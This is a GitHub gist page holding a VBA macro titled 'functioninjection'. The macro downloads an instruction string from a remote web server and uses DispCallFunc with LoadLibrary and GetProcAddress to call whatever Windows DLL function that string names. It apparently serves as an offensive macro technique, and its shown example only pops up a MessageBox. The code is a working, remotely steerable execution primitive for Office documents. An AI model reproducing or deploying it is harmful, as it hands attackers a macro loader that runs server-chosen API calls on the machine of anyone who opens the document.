Skip to content

Instantly share code, notes, and snippets.

@TechByTom

TechByTom/functioninjection.vba

Forked from rmdavy/functioninjection.vba
Created December 16, 2020 16:54
Show Gist options
  • Save TechByTom/98e4c961b0f4e57d40f20b7f04d76c0b to your computer and use it in GitHub Desktop.
Save TechByTom/98e4c961b0f4e57d40f20b7f04d76c0b to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @rmdavy rmdavy created this gist Dec 16, 2020.
    70 changes: 70 additions & 0 deletions functioninjection.vba
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,70 @@
    Declare PtrSafe Function DispCallFunc Lib "OleAut32.dll" (ByVal pvInstance As Long, ByVal offsetinVft As Long, ByVal CallConv As Long, ByVal retTYP As Integer, ByVal paCNT As Long, ByRef paTypes As Integer, ByRef paValues As Long, ByRef retVAR As Variant) As Long
    Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
    Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long

    Const CC_STDCALL = 4
    Const MEM_COMMIT = &H1000
    Const PAGE_EXECUTE_READWRITE = &H40

    Private VType(0 To 63) As Integer, VPtr(0 To 63) As Long

    Function GetInstructions()

    With CreateObject("MSXML2.XMLHTTP")
    'The string user32,MessageBoxA,2,0,Hello this is a MessageBox,MessageBox Example, 64 is stored in the file hello.txt
    'which is located on the remote webserver

    .Open "GET", "https://www.secureyourit.co.uk/wp/hello.txt", False: .Send
    getHTTP = StrConv(.responseBody, vbUnicode)
    End With

    GetInstructions = getHTTP

    End Function

    Sub SayHello()

    Dim RetVal As Long
    Dim Result() As String

    'astring = "user32,MessageBoxA,2,0,Hello this is a MessageBox,MessageBox Example, 64"
    astring = GetInstructions()

    Result = Split(astring, ",")

    Dim a As String
    Dim b As String
    Dim c As VbVarType
    Dim d As VbVarType
    Dim e As String
    Dim f As String
    Dim g As VbVarType

    a = Result(0)
    b = Result(1)
    c = Result(2)
    d = Result(3)
    e = Result(4)
    f = Result(5)
    g = Result(6)

    RetVal = stdCallA(a, b, c, d, e, f, g)

    End Sub

    Public Function stdCallA(sDll As String, sFunc As String, ByVal RetType As VbVarType, ParamArray P() As Variant)

    Dim i As Long, pFunc As Long, V(), HRes As Long
    ReDim V(0)

    V = P

    For i = 0 To UBound(V)
    If VarType(P(i)) = vbString Then P(i) = StrConv(P(i), vbFromUnicode): V(i) = StrPtr(P(i))
    VType(i) = VarType(V(i))
    VPtr(i) = VarPtr(V(i))
    Next i

    HRes = DispCallFunc(0, GetProcAddress(LoadLibrary(sDll), sFunc), CC_STDCALL, RetType, i, VType(0), VPtr(0), stdCallA)

    End Function